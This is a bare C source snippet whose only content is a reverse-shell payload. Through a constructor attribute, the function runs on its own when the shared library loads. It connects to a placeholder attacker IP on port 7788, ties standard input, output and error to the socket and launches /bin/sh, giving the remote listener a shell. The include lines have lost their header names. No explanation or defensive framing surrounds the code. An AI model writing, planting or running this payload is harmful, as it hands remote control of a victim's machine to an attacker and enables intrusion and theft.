#include #include #include #include #include #include __attribute__((constructor)) static void reverse_shell(void) { char *server_ip="xxx"; uint32_t server_port=7788; int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0) exit(0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); char *args[] = {"/bin/sh", NULL}; execve("/bin/sh", args, NULL); }